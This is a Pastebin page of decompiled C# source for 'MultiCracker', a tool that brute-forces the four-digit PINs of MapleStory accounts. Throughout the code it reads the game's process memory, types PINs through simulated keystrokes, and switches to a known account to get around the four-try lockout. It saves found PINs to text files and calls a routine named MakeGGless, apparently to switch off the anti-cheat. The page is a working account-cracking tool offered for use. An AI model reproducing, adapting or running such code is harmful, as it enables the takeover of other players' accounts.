Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- namespace MultiCracker
- {
- using MultiCracker.Properties;
- using System;
- using System.Diagnostics;
- using System.Drawing;
- using System.IO;
- using System.Runtime.CompilerServices;
- using System.Runtime.InteropServices;
- using System.Threading;
- using System.Windows.Forms;
- public class CrackingProcess
- {
- public static int ChangePinX = 0x12f;
- public static int ChangePinY = 0x150;
- public static Thread Cracking = new Thread(delegate {
- DoCrack(FindWindowHandle("MapleStory"), OpenMemoryReturnProcessID("MapleStory"), Form1.loginmethod);
- });
- public static int currentpin = 0;
- private static DirectXWrapper DXWrap = new DirectXWrapper();
- public static int endingpin = 0;
- private static HandleRef hndl = new HandleRef();
- public static int LogoutBtnX = 0x3e;
- public static int LogoutBtnY = 0x1d3;
- private static Process MapleProcess = null;
- public static Random MyRandomGen = new Random();
- public static bool relogging = false;
- public static Thread StartMapleThread = new Thread(delegate {
- StartMapleThreadVoid();
- });
- public static int totaltries = 0;
- public static int UserBoxX = 0x22f;
- public static int UserBoxY = 0xf5;
- public static string writtencurrentpin = "";
- [CompilerGenerated]
- private static void <.cctor>b__0()
- {
- DoCrack(FindWindowHandle("MapleStory"), OpenMemoryReturnProcessID("MapleStory"), Form1.loginmethod);
- }
- [CompilerGenerated]
- private static void <.cctor>b__1()
- {
- StartMapleThreadVoid();
- }
- public static int CheckArrayIDforNextCrack()
- {
- try
- {
- for (int i = 0; i < AccountsHolder.accounts.Count; i++)
- {
- if (AccountsHolder.accounts[i].foundpin == 0)
- {
- return i;
- }
- }
- }
- catch
- {
- return 0xcc07c9;
- }
- return 0xcc07c9;
- }
- [DllImport("gdi32.dll")]
- private static extern IntPtr CreateFont(int nHeight, int nWidth, int nEscapement, int nOrientation, int fnWeight, uint fdwItalic, uint fdwUnderline, uint fdwStrikeOut, uint fdwCharSet, uint fdwOutputPrecision, uint fdwClipPrecision, uint fdwQuality, uint fdwPitchAndFamily, string lpszFace);
- private static void DoCrack(IntPtr MapleHandle, IntPtr MapleID, bool loginmethod)
- {
- while (CrackingThreadC.itoberunning)
- {
- if (((FindWindow("#32770", "MapleStory") != IntPtr.Zero) && Settings.Default.RelogOnDc) && !relogging)
- {
- relogging = true;
- PostMessageA(FindWindow("#32770", "MapleStory"), 0x10, 0, 0);
- Thread.Sleep((int) (Settings.Default.relogondcDelay * 0x3e8));
- MapleThreadVoidC.launchmaple = true;
- MapleThreadVoidC.itoberunning = true;
- CrackingThreadC.itoberunning = false;
- }
- if (loginmethod)
- {
- if ((ReadLoggedOrNot(MapleID) != 0) && CrackingThreadC.isoncracked)
- {
- CrackingThreadC.foundpin = currentpin - 1;
- FoundPinSaver(CrackingThreadC.username, CrackingThreadC.foundpin);
- AccountsHolder.accounts[CrackingThreadC.id].foundpin = CrackingThreadC.foundpin;
- if (CheckArrayIDforNextCrack() == 0xcc07c9)
- {
- ProcessShutter("MapleStory");
- MessageBox.Show("Cracking process finished, TXT files were saved with results in the Output folder");
- Thread.CurrentThread.Abort();
- MapleThreadVoidC.itoberunning = false;
- }
- else
- {
- CrackingThreadC.pintries = 0;
- CrackingThreadC.crackuserpinbox = false;
- CrackingThreadC.logoutandmovetonextaccount_1 = true;
- }
- }
- if (CrackingThreadC.isfirststart)
- {
- SetHighPriority("MapleStory");
- CrackingThreadC.id = CheckArrayIDforNextCrack();
- CrackingThreadC.username = AccountsHolder.accounts[CrackingThreadC.id].username;
- Form1.currentid_label.Text = "ID: " + CrackingThreadC.username;
- CrackingThreadC.password = AccountsHolder.accounts[CrackingThreadC.id].password;
- CrackingThreadC.startingpin = AccountsHolder.accounts[CrackingThreadC.id].startingpin;
- endingpin = AccountsHolder.accounts[CrackingThreadC.id].endingpin;
- if (!relogging)
- {
- if (Settings.Default.randomcracking)
- {
- currentpin = MyRandomGen.Next(CrackingThreadC.startingpin, endingpin + 1);
- }
- else
- {
- currentpin = CrackingThreadC.startingpin;
- }
- if (Settings.Default.windowmode)
- {
- CrackingThreadC.mouse.MakeWindowMode();
- UserBoxX += 5;
- ChangePinX += 5;
- LogoutBtnX += 5;
- UserBoxY += 30;
- ChangePinY += 30;
- LogoutBtnY += 30;
- }
- }
- else
- {
- relogging = false;
- }
- CrackingThreadC.isfirststart = false;
- CrackingThreadC.knownuserinfo = true;
- }
- if (CrackingThreadC.knownuserinfo)
- {
- if ((ReadLoggedOrNot(MapleID) == 0) && (ReadPinDialog(MapleID) == 3))
- {
- CrackingThreadC.mouse.LeftClick(UserBoxX, UserBoxY, Settings.Default.MousePressDelay, Settings.Default.safeclickusername, Settings.Default.MinimizedCracking, MapleHandle);
- for (int i = 0; i < CrackingThreadC.username.Length; i++)
- {
- PostMessageA(MapleHandle, 0x100, 8, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 8, 0);
- }
- for (int j = 0; j < Settings.Default.knownUser.Length; j++)
- {
- PostMessageA(MapleHandle, 0x102, Settings.Default.knownUser[j], 0);
- Thread.Sleep(Settings.Default.typingDelay);
- }
- PostMessageA(MapleHandle, 0x100, 9, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 9, 0);
- for (int k = 0; k < CrackingThreadC.password.Length; k++)
- {
- PostMessageA(MapleHandle, 0x100, 8, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 8, 0);
- }
- for (int m = 0; m < Settings.Default.knownPass.Length; m++)
- {
- PostMessageA(MapleHandle, 0x102, Settings.Default.knownPass[m], 0);
- Thread.Sleep(Settings.Default.typingDelay);
- }
- PostMessageA(MapleHandle, 0x100, 13, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 13, 0);
- CrackingThreadC.knownuserinfo = false;
- CrackingThreadC.knownuserpinbox = true;
- }
- }
- else if (CrackingThreadC.knownuserpinbox)
- {
- if (ReadPinDialog(MapleID) == 4)
- {
- for (int n = 0; n < MakeCurrentPin(Settings.Default.knownPin).Length; n++)
- {
- PostMessageA(MapleHandle, 0x102, MakeCurrentPin(Settings.Default.knownPin)[n], 0);
- Thread.Sleep(Settings.Default.typingDelay);
- }
- PostMessageA(MapleHandle, 0x100, 13, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 13, 0);
- CrackingThreadC.knownuserpinbox = false;
- CrackingThreadC.knownuserchangepin = true;
- }
- }
- else if (CrackingThreadC.knownuserchangepin)
- {
- if (((ReadLoggedOrNot(MapleID) != 0) && !CrackingThreadC.isoncracked) && (ReadPinDialog(MapleID) != 5))
- {
- if (Form1.logoutmousepress)
- {
- PostMessageA(MapleHandle, 0x100, 0x1b, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 0x1b, 0);
- }
- else
- {
- CrackingThreadC.mouse.LeftClick(LogoutBtnX, LogoutBtnY, Settings.Default.MousePressDelay, Settings.Default.safeclickchangepin, Settings.Default.MinimizedCracking, MapleHandle);
- }
- }
- else if (((ReadLoggedOrNot(MapleID) != 0) && !CrackingThreadC.isoncracked) && (ReadPinDialog(MapleID) == 5))
- {
- Thread.Sleep(500);
- PostMessageA(MapleHandle, 0x100, 13, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 13, 0);
- CrackingThreadC.knownuserchangepin = false;
- CrackingThreadC.crackuserinfo = true;
- }
- }
- else if (CrackingThreadC.crackuserinfo)
- {
- if ((ReadLoggedOrNot(MapleID) == 0) && (ReadPinDialog(MapleID) == 3))
- {
- CrackingThreadC.mouse.LeftClick(UserBoxX, UserBoxY, Settings.Default.MousePressDelay, Settings.Default.safeclickusername, Settings.Default.MinimizedCracking, MapleHandle);
- for (int num6 = 0; num6 < Settings.Default.knownUser.Length; num6++)
- {
- PostMessageA(MapleHandle, 0x100, 8, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 8, 0);
- }
- for (int num7 = 0; num7 < CrackingThreadC.username.Length; num7++)
- {
- PostMessageA(MapleHandle, 0x102, CrackingThreadC.username[num7], 0);
- Thread.Sleep(Settings.Default.typingDelay);
- }
- PostMessageA(MapleHandle, 0x100, 9, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 9, 0);
- for (int num8 = 0; num8 < Settings.Default.knownPass.Length; num8++)
- {
- PostMessageA(MapleHandle, 0x100, 8, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 8, 0);
- }
- for (int num9 = 0; num9 < CrackingThreadC.password.Length; num9++)
- {
- PostMessageA(MapleHandle, 0x102, CrackingThreadC.password[num9], 0);
- }
- PostMessageA(MapleHandle, 0x100, 13, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 13, 0);
- CrackingThreadC.crackuserinfo = false;
- CrackingThreadC.crackuserpinbox = true;
- }
- }
- else if (CrackingThreadC.crackuserpinbox)
- {
- if (ReadPinDialog(MapleID) == 4)
- {
- if (currentpin <= endingpin)
- {
- if (CrackingThreadC.pintries < 4)
- {
- writtencurrentpin = MakeCurrentPin(currentpin);
- for (int num10 = 0; num10 < writtencurrentpin.Length; num10++)
- {
- PostMessageA(MapleHandle, 0x102, writtencurrentpin[num10], 0);
- Thread.Sleep(Settings.Default.typingDelay);
- }
- PostMessageA(MapleHandle, 0x100, 13, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 13, 0);
- if (Settings.Default.randomcracking)
- {
- currentpin = MyRandomGen.Next(CrackingThreadC.startingpin, endingpin + 1);
- }
- else
- {
- currentpin++;
- }
- CrackingThreadC.pintries++;
- totaltries++;
- }
- else
- {
- LastTriedPinSaver(CrackingThreadC.username, currentpin);
- PostMessageA(MapleHandle, 0x100, 0x1b, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 0x1b, 0);
- CrackingThreadC.pintries = 0;
- CrackingThreadC.crackuserpinbox = false;
- CrackingThreadC.knownuserinfo = true;
- }
- }
- else
- {
- AccountsHolder.accounts[CrackingThreadC.id].foundpin = 0x2710;
- if (CheckArrayIDforNextCrack() == 0xcc07c9)
- {
- ProcessShutter("MapleStory");
- MessageBox.Show("Cracking process finished, nothing found for username " + CrackingThreadC.username);
- Thread.CurrentThread.Abort();
- CrackingThreadC.itoberunning = false;
- }
- }
- }
- else
- {
- Thread.Sleep(Settings.Default.CrackingPinBoxDelay);
- }
- }
- else if (CrackingThreadC.logoutandmovetonextaccount_1)
- {
- Thread.Sleep(0x1b58);
- if (Form1.logoutmousepress)
- {
- PostMessageA(MapleHandle, 0x100, 0x1b, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 0x1b, 0);
- }
- else
- {
- CrackingThreadC.mouse.LeftClick(LogoutBtnX, LogoutBtnY, Settings.Default.MousePressDelay, Settings.Default.safeclickchangepin, Settings.Default.MinimizedCracking, MapleHandle);
- }
- CrackingThreadC.logoutandmovetonextaccount_1 = false;
- CrackingThreadC.logoutandmovetonextaccount_2 = true;
- }
- else if (CrackingThreadC.logoutandmovetonextaccount_2)
- {
- PostMessageA(MapleHandle, 0x100, 13, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 13, 0);
- Thread.Sleep(0x7d0);
- CrackingThreadC.logoutandmovetonextaccount_2 = false;
- CrackingThreadC.isfirststart = true;
- }
- Thread.Sleep(Settings.Default.CrackingThreadDelay);
- }
- else
- {
- if (ReadLoggedOrNot(MapleID) != 0)
- {
- CrackingThreadC.foundpin = currentpin - 1;
- FoundPinSaver(CrackingThreadC.username, CrackingThreadC.foundpin);
- AccountsHolder.accounts[CrackingThreadC.id].foundpin = CrackingThreadC.foundpin;
- if (CheckArrayIDforNextCrack() == 0xcc07c9)
- {
- ProcessShutter("MapleStory");
- MessageBox.Show("Cracking process finished, TXT files were saved with results in the Output folder");
- Thread.CurrentThread.Abort();
- CrackingThreadC.itoberunning = false;
- }
- else
- {
- CrackingThreadC.pintries = 0;
- CrackingThreadC.crackuserpinbox = false;
- CrackingThreadC.logoutandmovetonextaccount_1 = true;
- }
- }
- if (CrackingThreadC.isfirststart)
- {
- SetHighPriority("MapleStory");
- CrackingThreadC.id = CheckArrayIDforNextCrack();
- CrackingThreadC.username = AccountsHolder.accounts[CrackingThreadC.id].username;
- Form1.currentid_label.Text = "ID: " + CrackingThreadC.username;
- CrackingThreadC.password = AccountsHolder.accounts[CrackingThreadC.id].password;
- CrackingThreadC.startingpin = AccountsHolder.accounts[CrackingThreadC.id].startingpin;
- endingpin = AccountsHolder.accounts[CrackingThreadC.id].endingpin;
- if (!relogging)
- {
- if (Settings.Default.randomcracking)
- {
- currentpin = MyRandomGen.Next(CrackingThreadC.startingpin, endingpin + 1);
- }
- else
- {
- currentpin = CrackingThreadC.startingpin;
- }
- if (Settings.Default.windowmode)
- {
- UserBoxX += 5;
- ChangePinX += 5;
- UserBoxY += 30;
- ChangePinY += 30;
- }
- }
- else
- {
- relogging = false;
- }
- if (Settings.Default.windowmode)
- {
- CrackingThreadC.mouse.MakeWindowMode();
- }
- CrackingThreadC.isfirststart = false;
- CrackingThreadC.knownuserinfo = true;
- }
- if (CrackingThreadC.knownuserinfo)
- {
- if ((ReadLoggedOrNot(MapleID) == 0) && (ReadPinDialog(MapleID) == 3))
- {
- CrackingThreadC.mouse.LeftClick(UserBoxX, UserBoxY, Settings.Default.MousePressDelay, Settings.Default.safeclickusername, Settings.Default.MinimizedCracking, MapleHandle);
- for (int num11 = 0; num11 < CrackingThreadC.username.Length; num11++)
- {
- PostMessageA(MapleHandle, 0x100, 8, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 8, 0);
- }
- for (int num12 = 0; num12 < Settings.Default.knownUser.Length; num12++)
- {
- PostMessageA(MapleHandle, 0x102, Settings.Default.knownUser[num12], 0);
- Thread.Sleep(Settings.Default.typingDelay);
- }
- PostMessageA(MapleHandle, 0x100, 9, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 9, 0);
- for (int num13 = 0; num13 < CrackingThreadC.password.Length; num13++)
- {
- PostMessageA(MapleHandle, 0x100, 8, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 8, 0);
- }
- for (int num14 = 0; num14 < Settings.Default.knownPass.Length; num14++)
- {
- PostMessageA(MapleHandle, 0x102, Settings.Default.knownPass[num14], 0);
- Thread.Sleep(Settings.Default.typingDelay);
- }
- PostMessageA(MapleHandle, 0x100, 13, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 13, 0);
- CrackingThreadC.knownuserinfo = false;
- CrackingThreadC.knownuserpinbox = true;
- }
- }
- else if (CrackingThreadC.knownuserpinbox)
- {
- if (ReadPinDialog(MapleID) == 4)
- {
- for (int num15 = 0; num15 < MakeCurrentPin(Settings.Default.knownPin).Length; num15++)
- {
- PostMessageA(MapleHandle, 0x102, MakeCurrentPin(Settings.Default.knownPin)[num15], 0);
- Thread.Sleep(Settings.Default.typingDelay);
- }
- CrackingThreadC.mouse.LeftClick(ChangePinX, ChangePinY, Settings.Default.MousePressDelay, Settings.Default.safeclickchangepin, Settings.Default.MinimizedCracking, MapleHandle);
- Thread.Sleep(Settings.Default.ChangePinDelay);
- CrackingThreadC.knownuserpinbox = false;
- CrackingThreadC.knownuserchangepin = true;
- }
- }
- else if (CrackingThreadC.knownuserchangepin)
- {
- if (ReadPinDialog(MapleID) == 4)
- {
- PostMessageA(MapleHandle, 0x100, 0x1b, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 0x1b, 0);
- CrackingThreadC.knownuserchangepin = false;
- CrackingThreadC.crackuserinfo = true;
- }
- }
- else if (CrackingThreadC.crackuserinfo)
- {
- if ((ReadLoggedOrNot(MapleID) == 0) && (ReadPinDialog(MapleID) == 3))
- {
- CrackingThreadC.mouse.LeftClick(UserBoxX, UserBoxY, Settings.Default.MousePressDelay, Settings.Default.safeclickusername, Settings.Default.MinimizedCracking, MapleHandle);
- for (int num16 = 0; num16 < Settings.Default.knownUser.Length; num16++)
- {
- PostMessageA(MapleHandle, 0x100, 8, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 8, 0);
- }
- for (int num17 = 0; num17 < CrackingThreadC.username.Length; num17++)
- {
- PostMessageA(MapleHandle, 0x102, CrackingThreadC.username[num17], 0);
- Thread.Sleep(Settings.Default.typingDelay);
- }
- PostMessageA(MapleHandle, 0x100, 9, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 9, 0);
- for (int num18 = 0; num18 < Settings.Default.knownPass.Length; num18++)
- {
- PostMessageA(MapleHandle, 0x100, 8, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 8, 0);
- }
- for (int num19 = 0; num19 < CrackingThreadC.password.Length; num19++)
- {
- PostMessageA(MapleHandle, 0x102, CrackingThreadC.password[num19], 0);
- }
- PostMessageA(MapleHandle, 0x100, 13, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 13, 0);
- CrackingThreadC.crackuserinfo = false;
- CrackingThreadC.crackuserpinbox = true;
- }
- }
- else if (CrackingThreadC.crackuserpinbox)
- {
- if (ReadPinDialog(MapleID) == 4)
- {
- if (currentpin <= endingpin)
- {
- if (CrackingThreadC.pintries < 4)
- {
- writtencurrentpin = MakeCurrentPin(currentpin);
- for (int num20 = 0; num20 < writtencurrentpin.Length; num20++)
- {
- PostMessageA(MapleHandle, 0x102, writtencurrentpin[num20], 0);
- Thread.Sleep(Settings.Default.typingDelay);
- }
- PostMessageA(MapleHandle, 0x100, 13, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 13, 0);
- if (Settings.Default.randomcracking)
- {
- currentpin = MyRandomGen.Next(CrackingThreadC.startingpin, endingpin + 1);
- }
- else
- {
- currentpin++;
- }
- CrackingThreadC.pintries++;
- totaltries++;
- }
- else
- {
- LastTriedPinSaver(CrackingThreadC.username, currentpin);
- PostMessageA(MapleHandle, 0x100, 0x1b, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 0x1b, 0);
- CrackingThreadC.pintries = 0;
- CrackingThreadC.crackuserpinbox = false;
- CrackingThreadC.knownuserinfo = true;
- }
- }
- else
- {
- AccountsHolder.accounts[CrackingThreadC.id].foundpin = 0x2710;
- if (CheckArrayIDforNextCrack() == 0xcc07c9)
- {
- ProcessShutter("MapleStory");
- MessageBox.Show("Cracking process finished, nothing found for username " + CrackingThreadC.username);
- Thread.CurrentThread.Abort();
- CrackingThreadC.itoberunning = false;
- }
- }
- }
- else
- {
- Thread.Sleep(Settings.Default.CrackingPinBoxDelay);
- }
- }
- else if (CrackingThreadC.logoutandmovetonextaccount_1)
- {
- Thread.Sleep(0x1b58);
- if (Form1.logoutmousepress)
- {
- PostMessageA(MapleHandle, 0x100, 0x1b, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 0x1b, 0);
- }
- else
- {
- CrackingThreadC.mouse.LeftClick(LogoutBtnX, LogoutBtnY, Settings.Default.MousePressDelay, Settings.Default.safeclickchangepin, Settings.Default.MinimizedCracking, MapleHandle);
- }
- CrackingThreadC.logoutandmovetonextaccount_1 = false;
- CrackingThreadC.logoutandmovetonextaccount_2 = true;
- }
- else if (CrackingThreadC.logoutandmovetonextaccount_2)
- {
- PostMessageA(MapleHandle, 0x100, 13, 0);
- Thread.Sleep(Settings.Default.typingDelay);
- PostMessageA(MapleHandle, 0x101, 13, 0);
- Thread.Sleep(0x7d0);
- CrackingThreadC.logoutandmovetonextaccount_2 = false;
- CrackingThreadC.isfirststart = true;
- }
- Thread.Sleep(Settings.Default.CrackingThreadDelay);
- }
- }
- if (!CrackingThreadC.itoberunning)
- {
- Thread.Sleep(0x1388);
- DoCrack(FindWindowHandle("MapleStory"), OpenMemoryReturnProcessID("MapleStory"), Form1.loginmethod);
- }
- }
- public static IntPtr FindHandleByClass(string Class)
- {
- return FindWindow(Class, null);
- }
- [DllImport("user32.dll", SetLastError=true)]
- private static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
- public static IntPtr FindWindowHandle(string ProcessName)
- {
- Process[] processesByName = Process.GetProcessesByName(ProcessName);
- int index = 0;
- while (index < processesByName.Length)
- {
- Process process = processesByName[index];
- return process.MainWindowHandle;
- }
- return IntPtr.Zero;
- }
- public static void FoundPinSaver(string accountname, int pin)
- {
- MakeTXTFile(@"Output\" + accountname + " Found pin.txt", pin.ToString());
- }
- [DllImport("user32.dll")]
- private static extern IntPtr GetDC(HandleRef hWnd);
- public static void LastTriedPinSaver(string accountname, int pin)
- {
- MakeTXTFile(@"Output\" + accountname + " Last Tried pin.txt", pin.ToString());
- }
- public static void LaunchMaple()
- {
- Process process = new Process();
- process.StartInfo.FileName = Settings.Default.maplePath + @"\MapleStory.exe";
- process.Start();
- }
- public static string MakeCurrentPin(int curr)
- {
- string str = "";
- if (curr < 10)
- {
- return ("000" + curr.ToString());
- }
- if ((curr >= 10) && (curr < 100))
- {
- return ("00" + curr.ToString());
- }
- if ((curr >= 100) && (curr < 0x3e8))
- {
- return ("0" + curr.ToString());
- }
- if ((curr >= 0x3e8) && (curr < 0x2710))
- {
- str = curr.ToString();
- }
- return str;
- }
- public static void MakeTXTFile(string name, string whattowrite)
- {
- DirectoryInfo info = new DirectoryInfo(name.Split(new char[] { '\\' })[0]);
- if (!info.Exists)
- {
- info.Create();
- }
- new FileStream(name, FileMode.OpenOrCreate, FileAccess.ReadWrite).Close();
- TextWriter writer = new StreamWriter(name);
- writer.WriteLine(whattowrite);
- writer.Close();
- }
- public static IntPtr OpenMemoryReturnProcessID(string ProcessName)
- {
- Process[] processesByName = Process.GetProcessesByName(ProcessName);
- int index = 0;
- while (index < processesByName.Length)
- {
- Process process = processesByName[index];
- return OpenProcess(0xf0fff, false, (uint) process.Id);
- }
- return IntPtr.Zero;
- }
- [DllImport("kernel32.dll")]
- public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
- [DllImport("user32.dll")]
- public static extern bool PostMessageA(IntPtr hWnd, uint msg, int wParam, uint lParam);
- public static void ProcessShutter(string ProcessName)
- {
- foreach (Process process in Process.GetProcessesByName(ProcessName))
- {
- process.Kill();
- }
- }
- public static int Read4Bytes(IntPtr ProcID, IntPtr Address)
- {
- uint num;
- byte[] lpBuffer = new byte[4];
- ReadProcessMemory(ProcID, Address, lpBuffer, 4, out num);
- int num2 = 0;
- for (int i = 0; i < 3; i++)
- {
- num2 += lpBuffer[i];
- }
- return num2;
- }
- public static int ReadLoggedOrNot(IntPtr ProcID)
- {
- return Read4Bytes(OpenMemoryReturnProcessID("MapleStory"), (IntPtr) Settings.Default.LOGGED_IN);
- }
- public static int ReadPinDialog(IntPtr ProcID)
- {
- return Read4Bytes(ProcID, (IntPtr) Settings.Default.PIN_DIALOG);
- }
- [DllImport("kernel32.dll")]
- public static extern void ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesRead);
- public static Process ReturnProcess(string ProcessName)
- {
- Process[] processesByName = Process.GetProcessesByName(ProcessName);
- int index = 0;
- while (index < processesByName.Length)
- {
- return processesByName[index];
- }
- return null;
- }
- public static void SendMyMapleText(IntPtr WindowDC, int x, int y)
- {
- TextProcessor processor = new TextProcessor();
- IntPtr font = CreateFont(0x10, 0, 0, 0, 700, 0, 0, 0, 0, 0, 0, 0, 0, "Arial");
- Color black = Color.Black;
- Color fontColor = Color.Black;
- processor.SendText(WindowDC, font, TextProcessor.BkMode.TRANSPARENT, black, fontColor, "- " + writtencurrentpin, x, y);
- }
- public static void SetHighPriority(string ProcessName)
- {
- foreach (Process process in Process.GetProcessesByName(ProcessName))
- {
- process.PriorityClass = ProcessPriorityClass.RealTime;
- }
- }
- public static void ShutByClass(string cls)
- {
- PostMessageA(FindWindow(cls, null), 0x10, 0, 0);
- }
- private static void StartMapleThreadVoid()
- {
- while (MapleThreadVoidC.itoberunning)
- {
- if (MapleThreadVoidC.launchmaple)
- {
- if (((int) FindWindow("MapleStoryClass", null)) > 0)
- {
- PostMessageA(FindWindow("MapleStoryClass", null), 0x10, 0, 0);
- Thread.Sleep(0x1388);
- }
- else if ((ReturnProcess("MapleStory") != null) && (FindWindow("StartUpDlgClass", null) == IntPtr.Zero))
- {
- ProcessShutter("MapleStory");
- Thread.Sleep(0x1388);
- }
- LaunchMaple();
- Thread.Sleep(Settings.Default.WaitForMapleAdDelay);
- MemoryWriter.MakeGGless(OpenMemoryReturnProcessID("MapleStory"));
- ShutByClass("StartUpDlgClass");
- Thread.Sleep(Settings.Default.MemoryWritingDelay);
- MapleThreadVoidC.launchmaple = false;
- MapleThreadVoidC.waitformainscreen = true;
- Thread.Sleep(0xbb8);
- }
- else if (MapleThreadVoidC.waitformainscreen && (ReadPinDialog(OpenMemoryReturnProcessID("MapleStory")) == 3))
- {
- Thread.Sleep(0x7d0);
- UpdateHandle();
- UpdateCoords();
- if (Cracking.ThreadState == System.Threading.ThreadState.Unstarted)
- {
- Cracking.Start();
- }
- else if (relogging)
- {
- if (!CrackingThreadC.itoberunning)
- {
- CrackingThreadC.SetAllFalse();
- CrackingThreadC.isfirststart = true;
- CrackingThreadC.itoberunning = true;
- }
- }
- else
- {
- MessageBox.Show("Error occured in StartMapleThread!");
- }
- MapleThreadVoidC.waitformainscreen = false;
- }
- Thread.Sleep(0x7d0);
- }
- }
- public static void UpdateCoords()
- {
- ChangePinX = Settings.Default.ChangePinX;
- ChangePinY = Settings.Default.ChangePinY;
- LogoutBtnX = Settings.Default.LogoutBtnX;
- LogoutBtnX = Settings.Default.LogoutBtnY;
- UserBoxX = Settings.Default.UserBoxX;
- UserBoxY = Settings.Default.UserBoxY;
- }
- public static void UpdateHandle()
- {
- MapleProcess = ReturnProcess("MapleStory");
- hndl = new HandleRef(MapleProcess, MapleProcess.MainWindowHandle);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement